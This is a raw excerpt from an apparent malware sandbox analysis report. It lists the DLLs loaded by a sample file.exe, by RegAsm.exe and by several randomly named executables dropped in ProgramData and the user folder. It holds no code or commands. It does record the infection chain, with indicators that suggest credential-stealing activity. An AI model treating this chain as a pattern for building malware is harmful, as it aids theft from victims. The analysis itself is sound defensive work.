Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\GDBFCGIIIJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\KJEGDBKFIJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\IIJKJDAFHJ.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\IIJKJDAFHJ.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\IIJKJDAFHJ.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\IIJKJDAFHJ.exe	Section loaded: version.dll
Source: C:\ProgramData\IIJKJDAFHJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\IIJKJDAFHJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\IIJKJDAFHJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userBAAAAKJKJE.exe	Section loaded: mscoree.dll
Source: C:\Users\userBAAAAKJKJE.exe	Section loaded: apphelp.dll
Source: C:\Users\userBAAAAKJKJE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userBAAAAKJKJE.exe	Section loaded: version.dll
Source: C:\Users\userBAAAAKJKJE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userBAAAAKJKJE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\userBAAAAKJKJE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\userAFIDGDBGCA.exe	Section loaded: mscoree.dll
Source: C:\Users\userAFIDGDBGCA.exe	Section loaded: apphelp.dll
Source: C:\Users\userAFIDGDBGCA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\userAFIDGDBGCA.exe	Section loaded: version.dll
Source: C:\Users\userAFIDGDBGCA.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\userAFIDGDBGCA.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\userAFIDGDBGCA.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
